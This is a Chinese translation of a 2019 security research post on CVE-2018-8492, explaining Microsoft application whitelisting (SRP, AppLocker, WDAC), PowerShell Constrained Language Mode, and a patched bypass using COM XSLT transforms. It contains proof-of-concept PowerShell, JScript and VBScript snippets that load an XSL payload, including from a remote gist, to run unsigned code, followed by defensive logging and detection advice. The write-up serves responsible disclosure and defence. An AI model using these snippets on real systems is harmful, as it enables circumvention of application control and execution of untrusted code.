COM XSL转换:如何绕过微软应用程序控制解决方案(CVE-2018-8492)

41yf1sh 系统安全 2019年1月23日发布
Favorite收藏

导语:在本文中,我们主要讨论微软AWL解决方案简介、使用约束语言模式的PowerShell简要概述、CVE-2018-8492(通过COM XSLT绕过WDAC)详细分析及防御方法。

一、概述

长期以来,我非常热衷于探讨应用程序控制/应用程序白名单(AWL)和组件对象模型(COM)。正如本文的标题所示,在研究中,我偶然发现了一种使用COM绕过Microsoft Application Control(微软应用程序控制)解决方案的技术。在特定情况下,该技术可以执行未经签名的代码,一绕过Windows Defender应用程序控制(WDAC)/Device Guard,包括具有可扩展样式表转换(XSLT)的PowerShell约束语言模式(CLM)。在本文中,我们主要讨论以下内容:

1、微软AWL解决方案简介;

2、使用约束语言模式的PowerShell简要概述;

3、CVE-2018-8492(通过COM XSLT绕过WDAC)详细分析;

4、防御方法。

需要注意的是,本篇文章并没有全面讲解微软AWL解决方案或绕过技术。如果要了解这方面的更多信息,推荐阅读附在本文最后的链接资源。

二、微软AWL解决方案简介

微软支持多种应用程序白名单(AWL)解决方案。在本节中,我们将简要介绍软件限制策略(SRP)、AppLocker、Windows Defender应用程序控制(WDAC),并在其中重点说明一些AWL绕过的方法。接下来,就让我们进行深入研究。

2.1 SRP

软件限制策略(SRP,Software Restriction Policies)是在Windows 2003和Windows XP中,作为一种组策略管理软件控制机制而引入的。在SRP中,安全级别基于哈希规则、证书规则、路径规则(文件系统和注册表)以及区域规则来定义应用程序的行为(例如:不允许运行)。策略可以针对动态链接库(DLL)应用,并且可以强制所有用户(包括管理员)必须遵循这一策略。

在SRP中,并没有一组强大的默认规则(作为基线使用),也不支持审计模式,因此创建、测试、验证和维护SRP策略的绝大多数工作都要由组织来自行完成。通常,实施和维护SRP可能非常困难。因此,随着其他AWL解决方案的陆续出现,SRP并没有得到广泛的应用。

值得注意的是,取决于配置的不同,一些不重要的绕过可能会导致绕过严格依赖于阻止列表的规则。如果其中存在一些被忽略的文件路径,或文件名/扩展名操作,就可能导致允许超出预期的执行。此外,SRP不会强制执行代码完整性策略。因此,可以从受信任的二进制文件中执行未经签名(Scriptlet)的代码。

有关SRP和配置指南的更多信息,请参考微软官方文档美国国家安全局的白皮书。此外,由于已经不再开发新的功能,据推测SRP将在不久之后被移除。

2.2 AppLocker

AppLocker是Windows 2008 Server和Windows 7(Enterprise和Ultimate版本)中引入的AWL解决方案,作为SRP的升级替代方案。与SRP相比,AppLocker策略更加易于部署和管理。AppLocker支持脚本和应用程序(例如:exe、dll、appx等)的文件哈希、路径和发布者规则,并且支持用于测试规则的审计模式(Audit Mode)。值得注意的是,在强制执行策略时,AppLocker会针对非特权用户,将PowerShell置于约束语言模式(CLM)中,从而限制未经批准的脚本执行、Cmdlet、任意类型和类型定义。

AppLocker可以配置一组默认规则,这一点有助于组织设置基线和进行测试。但是,由于规则集的限制,目前存在许多易于复现的技术可以绕过这些策略,所以在生产环境部署默认规则并不一定是最佳的选择。使用一些健壮的策略,可能会阻止许多基于规则的应用程序绕过,但是像SRP一样,AppLocker也不能进行代码完整性检测。

要了解有关AppLocker的更多信息,并且获得有关如何创建并测试强大的AppLocker策略的进一步指导,请参考Oddvar Moe的AppLocker案例研究,以及Aaron Margosis的AaronLocker工具

2.3 WDAC

Windows Defender应用程序控制(WDAC),以前称为Device Guard,是一种AWL解决方案,可以“通过限制允许用户运行的应用程序,从而帮助减轻安全威胁”(引自微软官方文档)。WDAZ是在Windows 2016和Windows 10(Enterprise和Education版本)引入的。在使用用户模式代码完整性(UMCI)的WDAC策略实施下,锁定的系统能够防止执行未经授权的二进制文件、未签名(脚本)代码和安装程序包。此外,UMCI限制PowerShell在CLM中运行,由于Windows锁定策略(WLDP)的限制,它进一步“锁定”了COM类访问(实例化)。当其被完整性策略强制执行时,WLDP还限制来自其他脚本(例如:cscript.exe和wscript.exe)的COM实例化。

目前,似乎已经将WLDP称为Windows安全模式策略(Windows Secure Mode Policy)。

WDAC策略是高度可定制的,可以配置为审计模式,从而支持各种部署和配置方案,以进行测试。在支持WDAC的Enterprise版本Windows操作系统中,强制策略的推荐配置(默认)位于:%systemroot%\schemas\CodeIntegrity\ExamplePolicies\DefaultWindows_Enforced.xml 中。

与之前讨论的SRP和AppLocker的默认规则不同,WDAC默认策略具有高度限制性,可能不适合生产环境使用。有关在组织中如何创建WDAC代码完整性策略的指导,请参阅微软官方文档和Chris Truncer的演示。关于Windows 10 Enterprise的基线测试,请参阅这份指南,从而使用微软推荐的块规则来快速部署WDAC。

要了解有关WDAC的更多信息(例如:内部工作原理、如何绕过等),请参阅由这些优秀研究人员维护的博客网站:

Matt Graeber的Exploit Monday

Matt Nelson的Enigma0x3

Casey Smith的SubTee

James Forshaw的Tyranid's Lair

2.4 关于微软AWL解决方案的说明

根据微软的描述,WDAC-UMCI实际上是一个安全便捷。因此,应用程序控制绕过漏洞是需要被重视的,是能够被授予CVE的,并且也是可以维护的。研究人员应该在披露这一漏洞之前,应该首先向微软安全响应中心(MSRC)报告漏洞情况,以便进行评估。

微软支持另一种用于减少攻击面(ASR)的伪“应用程序控制”规则集,该规则及目前是Windows Defender漏洞防护(WDEG)、Windows Defender高级威胁防护(ATP)的一部分。ASR规则对于防止针对目标应用程序(例如:Office)执行“恶意”代码,以及对于保护敏感进程(例如:LSASS)非常有用。对ASR的分析,超出了本文涉及的范围,但感兴趣的读者可以在微软官方文档上找到更多信息。

三、使用约束语言模式的PowerShell简要概述

通常,PowerShell都会以全语言模式(Full Language Mode)运行。该模式能有效允许访问所有PowerShell功能,包括脚本(例如:有符号脚本、无符号脚本)、类型定义和类(例如:.NET/C#访问)。在PowerShell版本5中引入,约束语言模式(CLM)“限制对可用于调用任意Windows API的敏感语言元素的访问”(引自PowerShell团队博客)。根据配置和策略的实施,CLM提供了一个屏障,有效减少了攻击面,攻击者必须攻破这个屏障才能对PowerShell工具和功能进行利用。为了打破CLM的限制,攻击者必须“绕过”CLM空间,从而导致PowerShell会话在全语言模式的上下文中执行恶意的“未签名”代码(例如:通过发现已签名的PowerShell脚本中的漏洞),或者执行“攻破”PowerShell会话的恶意代码。接下来,我们来看看几个CLM配置/实施方案,以及此前公开的绕过技术。

3.1 语言模式属性配置

如果没有策略实施,只需要设置此属性,即可在PowerShell会话中配置CLM:

$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

尽管CLM以这种方式限制PowerShell上下文中的访问非常有效,但这是一种无效的强制执行控制,因为该属性可以很容易地被设置为“FullLanguage”,这样就会逃避CLM的限制。尽管,由于缺乏适当的执行功能,我不会将其称之为绕过,但该技术确实具有与PowerShell v2降级攻击类似的效果。

3.2 PSLockdownPolicy环境变量强制执行

在PowerShell v3中,微软通过设置__PSLockdownPolicy环境变量,结合了一些“未记录的”功能,控制了各种PowerShell模式。我能找到最早的参考资料,是来自Oisin Grehan的Twitter帖子,该文章分析,通过将__PSLockdownPolicy的值设置为4,来表示PowerShell处于“约束模式”。在2013年发表的一篇文章中,Carlos Perez描述了使用组策略在注册表中设置此环境变量,以强制执行这一模式的方法。该值是在下面的注册表项路径中设置:

HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment

在PowerShell v5中,将__PSLockdownPolicy的值设置为4,会将PowerShell会话置于CLM中。我们使用这一强制级别,尝试将LanguageMode属性设置为FullLanguage,结果表明这是不成功的。

1.png

尽管为CLM强制设置__PSLockdownPolicy,确实可能提供了一个便捷,从而有助于阻止利用PowerShell的一类攻击。但研究人员发现,__PSLockdownPolicy并不是一个正确的防御控制边界,实际上是处于调试目的而设计的,正如Matt Graeber所展示的那样。他非常直截了当地进行了System32文件夹/文件操作绕过:

“大家还记不记得此前,我曾经说过__PSLockdownPolicy对于强制执行受约束的lang模式毫无意义?事实上,它是专门为调试而设计的。pic.twitter.com/a8DpVOrqdM”( Matt Graeber发布于2017年10月20日)

在强制的PSLockdownPolicy下,绕过CLM的另一种方法是通过非托管的PowerShell来实现。由于(在此测试用例中)PSLockdownPolicy方法不受AWL解决方案支持,利用.NET的System.Management.Automation命名空间允许我们在自己的运行空间中以全语言模式运行PowerShell命令(不使用PowerShell.exe或PowerShell_ISE.exe)。在这个例子中,Cn33liz的P0wnedShell工具可以被用来证明这个概念:

2.png

3.png

实际上,设置PSLockdownPolicy并不是执行CLM的最强大方法,但是如果同时存在其他的控制方法和增强检测方法,那么一些攻击者完全可以实现他们的目标。然而,实施CLM的首选方法还是使用Microsoft Application Control解决方案。那么,就让我们来看看其中的几个选项,以及其各自的优点和危险之处。

3.3 应用程序控制CLM实施

在强制执行白名单策略时,PowerShell CLM将应用于AppLocker(适用于“允许模式Allowed Mode”的用户)和WDAC(适用于用户和管理员)。

3.3.1 AppLocker执行

尽管AppLocker没有被视为是安全边界(例如:一旦发现绕过,它是不可维护的),但它仍然是一个非常亲切的AWL解决方案,并且对于具有正确配置规则的用户(非管理员)来说非常有效。但是,还有一些值得注意的例外情况。

我们对具有默认规则的环境进行了测试。在AppLocker上,更改LanguageMode属性,或将我们自己的PowerShell运行空间投放到磁盘上的这些CLM绕过方法,已经不再有效。然而,我们发现了可以在全语言模式下执行或攻破CLM会话的巧妙绕过方法。利用该方法,可以执行未经签名的代码。

Oddvar Moe在DerbyCon 2018上展示了App-o-Lockalypse,并发现一种从CLM会话生成完整语言模式会话的方法。该方法使用默认的AppLocker配置,通过操作在“temp”目录路径下创建的PS脚本的环境变量路径来实现。

注意:使用正确配置的NTFS ACL/ACE写入规则或AppLocker脚本规则,可以有效防范这种情况。关于这方面的更多信息,请参考Oddvar关于如何预防此类攻击的一篇优秀文章。

Adam Chester公开的一种新技术则利用了COM实例化。在AppLocker“强制”的PowerShell CLM下,几乎任何组件对象模型(COM)对象都可以使用带有程序标识符(ProgID)的新对象comlet和comobject参数进行实例化,如下所示:

new-object -comobject [ProgID]
new-object -com [ProgID]

上述情况都是被允许的,由于AppLocker已经启用CLM,所以锁定(Lockdown)策略的强制检查已经通过,并且由于AppLocker没有强制执行的代码完整性策略,所以任何COM对象类标识符(CLSID)批准检查都将为真。这一问题的影响很大程度取决于攻击者的发现,以及Payload的传递,因为有很多种方法能够利用COM实现无符号代码执行。我们将在后面重新讨论这个话题,并会重点提供一些示例。

注意:有趣的是,没有AWL强制执行的CLM将不允许COM实例化(例如:尝试使用new-object cmdlet和comobject参数),因为其锁定检查将会失败(出现异常),并且会返回错误。有关这部分内容的详细信息,请参考Adam Chester的文章

3.3.2 WDAC代码完整性强制执行

WDAC/Device Guard代码完整性策略,是锁定Windows主机并减少系统攻击面的一种有效方法。未经签名或未经批准的脚本及二进制代码的执行将受到限制,并且这里的PowerShell CLM已经正确实施。现在,让我们重温PowerShell中的COM对象实例化。

当AppLocker策略“强制执行”时,CLM COM对象实例化几乎没有什么限制。实际上,全部或大多数COM对象都可以被实例化。根据Google Project Zero的James Forshaw在.NET COM实例UMCI绕过漏洞披露中,这一COM对象的数量介于8-50之间。在具有UMCI的WDAC下,WLDP的这个数字大幅减少。当发生COM对象实例化尝试时(例如:尝试使用新对象cmdlet和comobject参数),将会查询WldpIsClassInApprovedList()导出函数(来自wlpd.dll),以检查是否允许解析的CLSID。如果允许,那么将实例化COM对象,并且可以访问对象的方法和属性。如果不允许,那么就会阻止实例化,并抛出错误信息。

如前一节所述,WDAC是一个安全边界。因此,我们发现的绕过方法可能会被微软接受,并且有可能会被添加到推荐的阻止列表中。CLM绕过也就是WDAC绕过,因此这方面的漏洞也会被接受。

接下来,让我们换上5挡,讨论一个重要漏洞的发现过程。

四、CVE-2018-8492(通过COM XSLT绕过WDAC)详细分析

在过去几年中,Casey Smith发现了非常有趣的“Living off the land”AWL绕过技术,该技术利用已经签名的微软二进制文件来执行未经签名的Scriptlet代码。其中,Casey针对可扩展样式表语言(XSL)的研究和发现促使我开展了这一研究。简而言之,XSL的作用是“转换和呈现XML文档”(引自维基百科),其中包括将XML文档转换为其他格式的文档,例如HTML和Office(Excel电子表格)。最有趣的是,XSL转换(XSLT)可以执行嵌入式脚本宿主代码。

4.1 XSLT COM的发现

如果我们搜索可用于快速转换XML文档的微软可扩展标记语言(MSXML核心服务)的COM组件,可以发现一些有用的方法和属性。其中,最明显的方法和属性是transform()、transformNode()、transformNodeToObject()和AllowXsltScript(我们仅举几例)。这些都是一些关键COM对象(例如:Msxml2.DOMDocument.6.0)的成员,它们实现了方法和属性访问的接口(例如:IXMLDOMDocument* flavors)。

在针对各种二进制文件运行字符串,以及分析了几个已经签名的脚本(VBScript/JScript)之后,我们能够清晰地看到,这些组件可能在XSL代码执行中起到了重要作用,例如在wmic.exe和winrm.vbs中。

4.1.1 wmic.exe

4.png

注意:字符串程序似乎在输出中截断了几个字母。其中,IXSProcessor很可能是IXSLProcessor,tranform很可能是transform(转换)。

4.1.2 winrm.vbs

5.png

注意:有关winrm AWL绕过的更多信息,请参阅Matt Graeber的文章(https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404),其中还包含一些有效的检测策略。

4.2 XSL脚本执行PoC

在深入了解COM/XSL转换之后,我决定对Payload进行测试,以查看它的运行情况。转向PowerShell,我使用Casey Smith编写的极简XML/XSL Payload来启动包含(无符号)Jscript代码的命令提示符:

$xsl = new-object -com Msxml2.DOMDocument.6.0
$xsl.load(“c:\path\to\minimalist.xml”)
$xsl.setProperty(“AllowXsltScript”,$true)
$xsl.transformNode($xsl)

6.png

不出所料,这一过程执行了Scriptlet代码,并启动了命令处理器(Command Processor)。接下来,我们来深入研究一下,并看看能否进一步扩展这一方法。

4.3 AppLocker PowerShell CLM XSLT绕过

作为概念证明,我们首先分开脚本标签之间的代码,并将其保存为Jscript(js)文件。我们尝试使用默认规则(并且不依赖于路径规则绕过),在AppLocker下使用Windows脚本宿主二进制文件(cscript.exe和wscript.exe)启动Jscript文件(minimalist.js),产生了如下输出:

7.png

在这里,执行尝试启动Payload的脚本失败。当我们尝试使用反射,来加载带有在CLM下的PowerShell中.NET反射的Microsoft.Jscript程序集时,同样也以失败告终:

8.png

但是,如果我们使用AppLocker策略下的新对象cmdlet和comobject参数,启动以前是用的带有XSLT有效内容的PowerShell代码段,就能够成功执行:

9.png

当我第一次看到这个结果时,我非常惊讶,因为它居然有效。至此,我才对COM对象实例化的Windows锁定策略(WLDP)如何有效实施有了基本的了解。现在,让我们把注意力转回WDAC。

4.4 WDAC COM对象枚举

在默认的WDAC代码完整性策略(Windows 10 1803以上版本)下,我们的PowerShell XSL Payload代码段由于COM对象WLDP强制执行而无法成功执行,如下图所示:

10.png

对于这一测试用例,Windows锁定策略(WLDP)已经正确实施,并且COM对象未实例化。回顾一下我在Google Project Zero文章中读到的内容,James Forshaw表示,他发现有8-50个COM对象可以被脚本(例如:PowerShell)实例化。我们希望知道,在测试主机的WDAC策略下可以实例化哪些COM对象,于是我们使用以下的PowerShell代码段,枚举出可以访问的COM对象:

$ErrorActionPreference = "SilentlyContinue"
$ids = gwmi Win32_COMSetting | ?{ $_.ProgId -ne $null }
$ids | ForEach {if (new-object -com $_.ProgID){$_.ProgID}}

在WDAC下,PowerShell代码段返回了以下结果:

11.png

正如预期的那样,实际上只允许几个COM丢向。但是,就在这时Microsoft.XMLDOM.1.0 ProgID突然出现了。因此,我决定进一步研究,看看都有哪些成员可以访问:

12.png

我很快就发现了一些熟悉的转换方法,并注意到实现的COM接口标识符(IID)GUID值(2933bf95-7b36-11d2-b20e-00c04f983e60)对应的是IXMLDOMDocument2接口。

4.5 WDAC PowerShell CLM XSLT绕过

在确定Microsoft.XMLDOM.1.0的COM对象方法之后,我决定稍微修改PowerShell片段,从而测试未经签名的代码执行:

$xsl = new-object -com Microsoft.XMLDOM.1.0
$xsl.load(“c:\path\to\minimalist.xml”)
$xsl.transformNode($xsl)

注意:Microsoft.XMLDOM.1.0是在MSXML v3.0中实现的,它不需要为脚本主机执行设置AllowXsltScript属性,因为它默认设置为true。

运行这一代码段后,Payload将在CLM和Device Guard代码完整性策略的上下文中执行:

13.png

为了更加清楚,上一个映像中的WDAC策略状态,实际上是从系统信息实用程序(msinfo32.exe)中剪切输出的。

4.6 利用经典WSH二进制文件实现WDAC绕过

除了PowerShell之外,WLDP还允许使用经典的WSH二进制文件(例如cscript.exe和wscript.exe)进行Microsoft.XMLDOM.1.0实例化,以执行未经签名的脚本代码。例如,以下脚本片段将在调用时会死用远程提取技术,启动相同的XSL Payload。

4.6.1 Jscript

xsl = new ActiveXObject("Microsoft.XMLDOM.1.0");
xsl.async = false;
xsl.load("https://gist.githubusercontent.com/caseysmithrc/680ef7a2d660fb62ce13a3bd130b8adf/raw/cc4a1b4d8eb26cc9aea61ae267db7ecae28e9f33/minimalist.xml");
xsl.transformNode(xsl);

4.6.2 VBScript

Set xsl= CreateObject("Microsoft.XMLDOM.1.0")
xsl.async = false
xsl.load "https://gist.githubusercontent.com/caseysmithrc/680ef7a2d660fb62ce13a3bd130b8adf/raw/cc4a1b4d8eb26cc9aea61ae267db7ecae28e9f33/minimalist.xml"
xsl.transformnode xsl

实际上,不允许合法的Jscript Payload在自身启动时实例化WScript.Shell COM对象(在此测试用例中名为test.js)。但是,我们可以利用XSLT Trampoline(minimalist.js)来实例化WScript.Shell(它嵌入在远程minimalist.xml Payload中),如下图所示:

14.png

注意:微软块规则(Microsoft Block Rules)中明确拒绝了Mshta.exe等脚本宿主,该规则与这一测试用例中的默认WDAC策略合并。

五、防御方法

接下来,让我们看看作为蓝方应该考虑的几个防守因素。

5.1 XSLT COM对象

尽管目前已经发布了CVE-2018-8492的补丁,从而防止在WDAC下执行Microsoft.XMLDOM.1.0 Scriptlet,但是作为防守方,应该知道XSLT技术仍然可以被攻击者用于绕过其他AWL解决方案。

随着众多COM对象的曝光,我们推测Microsoft.XMLDOM.1.0和Msxml2.DOMDocument.6.0不是唯一包含执行相同XSL COM脚本执行的转换方法的对象,这一点是非常简单的。我们还确定了其他一些对象,具体如下。

15.png

可能还有其他COM对象公开了类似的XSLT方法和属性,并且具有可以执行Scriptlet代码的其他COM对象。此外,这些对象可以用于远程获取资源(如上一节所示),并且可以利用其他类和对象来执行此操作。例如,Microsoft.XMLHTTP.1.0和相关的COM对象就可以提供此功能。

注意:XML转换可以在.NET中与XslCompiledTransform类一起使用。此外,PowerShell CLM允许使用.NET XmlDocument类实例,load()方法可以用作获取远程XML兼容文件(例如:XSL Payload)的下载工具。在这里,有一个概念证明。

5.2 PowerShell安全控制

下面是一些关于PowerShell的建议和资源:

1、升级到PowerShell v5.x。近年来,PowerShell的安全性得到了极大的改进,特别是随着包含PowerShell v5的Windows Management Framework 5的发布。如果您的组织还没有使用v5版本,强烈建议您升级至此版本,以使用一些安全性增强的功能,例如高级日志记录功能和启用CLM。

2、禁用PowerShell v2。除了要升级到PowerShell v5之外,我们强烈建议在环境中禁用PowerShell v2,从而防止降级攻击,因为v2中的安全功能较少,并且不支持CLM。

3、寻找低版本PS加载。Lee Holmes在这篇文章中提供了针对此类攻击的检测和预防指导,其中包括一个PowerShell代码段,用于查询PowerShell事件日志,已获取低版本的PowerShell加载。

16.png

4、启用PS记录,增强可审计性。配置Transcription、Module和ScriptBlock日志,可以深入了解PowerShell中运行的命令、cmdlet和Payload。Transcription日志记录需要配置磁盘/文件共享位置,以输出日志文件。可以在PowerShell操作事件日志中访问模块事件(事件ID 4103)和ScriptBlock事件(事件ID 4104)。

5、使用CLM和监视器。约束语言模式具有令人难以置信的价值。在持续监控可以篡改(例如:绕过尝试)的同时,启用CLM以进行预防,这样会取得良好效果。

6、识别COM对象实例化事件。在PowerShell操作事件日志(事件查看器 -> 应用程序和服务日志 -> Microsoft -> Windows -> PowerShell –> 操作)中,如果启用,COM对象实例化尝试将被记录为模块事件(事件ID 4103)。在我们的测试过程中,记录了成功的实例化过程,其中包含以下有效内容字符串(在消息中):

ParameterBinding(New-Object): name="ComObject"; value="[ProgID]"

如果使用SIEM或日志解析工具过滤此类事件,我们就可以识别潜在的COM对象滥用事件(例如:滥用XSLT的对象),这一部分内容非常有价值。

17】.png

5.3 WSH安全建议

下面是关于Windows脚本宿主的一些建议:

1、监控已知的二进制文件。包括cscript.exe、wscript.exe、mshta.exe、wmic.exe、Regsvr32.exe、winrm.vbs和pubprn.vbs,这些都是一些已知(经过签名)的二进制文件和脚本,可能会被攻击者用于代码执行、规避和绕过。Mitre ATT&CK和LOLBAS是构建基线,以检测和理解这些本机实用程序如何用于攻击的极佳资源。Daniel Bohannon和Matthew Dunwoody曾发表过一次演讲(https://www.youtube.com/watch?v=YGJaj6_3dGA),说明了如何构建一个弹性检测方法。

2、AMSI。可以通过带有Windows事件跟踪(ETW)的反恶意软件扫描接口(AMSI)捕获脚本宿主内容。几个月前,Matt Graeber在他的博客上发表了这篇文章

3、检查通信。如果加密通信对您的组织来说不成问题,那么构建一个对远程提取的HTTP/S资源(例如:SCT、WSH和XML/XSL文件)的检测,可能会非常有帮助。这些请求中可能包含可疑的用户代理,响应中可能包含XML脚本标记和属性(很有可能经过混淆)。

18.png

5.4 AWL解决方案

尽管存在绕过和逃避的可能,但AWL是终端安全的一个重要组成部分。其中,终端安全就包括终端检测与响应(EDR)和反病毒(AV)。如果您计划在自己的环境中使用应用程序控制,那么以下是针对AWL解决方案的一些建议:

1、考虑使用AWL。尽管AWL是降低安全风险和减小攻击面的绝佳方式,但许多组织仍然没有实施这一机制。如果运行任何较新版本的Windwos Server,其中的AppLocker都是免费、内置的,并且可以使用组策略进行集中管理。如果您正在考虑使用AWL,请在开始之前查看DHS的策略规划指南

2、维持与改善。与EDR和AV解决方案一样,我们应该维持AWL策略、规则和系统,以确保其发挥最大作用并且持续有效。根据AWL配置和规则集(例如:新的块规则)和系统更改(例如:更新、软件安装等),可能需要对AWL软件进行调整和更改。此外,如果您部署了基本策略和规则集,请设置一个弹性目标,从而可以随着时间的推移而不断改进。如果您的组织非常重视终端安全性,那么WDAC可以随时改变游戏规则。此外,WDAC和AppLocker支持用于构建、测试和评估策略的审计模式。

3、定期查看AWL日志。AWL实践日志为网络防御者和系统管理员提供了大量信息。通过AWL事件转发(到SIEM)和告警,管理员可能会看到需要将哪些关键可执行文件或库添加到策略中,或者注意到由于未批准的应用程序的各种(失败)执行尝试而发生的潜在安全事件。

4、在AppLocker中,事件日志位于:事件查看器 -> 应用程序和服务日志 -> Microsoft -> Windows -> AppLocker。包括以下日志:EXE和DLL、MSI和脚本、打包的应用程序部署、打包的应用程序执行。以下是阻止可执行文件生成的错误日志示例(事件ID 8004):

19.png

5、在WDAC中,日志位于:事件查看器 -> 应用程序和服务日志 -> Microsoft -> Windows -> 代码完整性 -> 可选。下面是阻止可执行文件生成的错误日志示例(事件ID 3077):

20.png

6、测试您执行的策略和规则。通过持续实施测试计划或红蓝对抗,可以发现并解决潜在问题。有一些工具可以帮助实现,请查看Chris Spehn的GreatSCT,以生成Payload。同时,也可以尝试Oddvar Moe针对AppLocker特定测试用例的PowerAL

7、及时更新补丁。如果您使用的是WDAC或者第三方AWL解决方案,请确保该软件是最新的,从而解决可能导致保护控制缺陷的漏洞。

六、总结

这篇文章非常长,感谢各位读者能耐心阅读。在最后,我首先介绍一些与本文相关的优秀资源:

James Forshaw关于COM内部工作原理的精彩讲解:

James Forshaw编写的DotNettToJScript工具,用于创建将.NET程序集加载到内存中的Jscript Payload的工具:

Dominic Chell使用SharpShooter v1.0进行FreeStyling,展示了使用XSL转换作为Payload生成的攻击向量。

关注Twitter上的#DailyScriptlet,了解关于COM Scriptlets的开源威胁情报。

Brian在匹兹堡的WinAWL上发布了一些关于WDAC的优秀文章。

其次,要感谢研究人员:Oddvar Moe、Philip Tsukerman、Casey Smith、Matt Nelson、James Forshaw、Adam Chester、Chris Spehn和Matt Graeber。感谢MSRC工作人员Nate和James。

最后,该漏洞相关的时间表如下:

2018年4月 – 与MSRC取得联系,提交关于XSL COM对象CLM绕过的漏洞信息

2018年5月 – 与MSRC就问题细节和复现方法进行沟通

2018年6月 – MSRC确认Microsoft.XMLDOM.1.0 WDAC绕过漏洞

2018年8月 – MSRC表示将延期发出漏洞补丁

2018年10月 – 该漏洞已修复(CVE-2018-8492)

本文翻译自:https://bohops.com/2019/01/10/com-xsl-transformation-bypassing-microsoft-application-control-solutions-cve-2018-8492/如若转载,请注明原文地址: https://www.4hou.com/system/15737.html
点赞 5
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论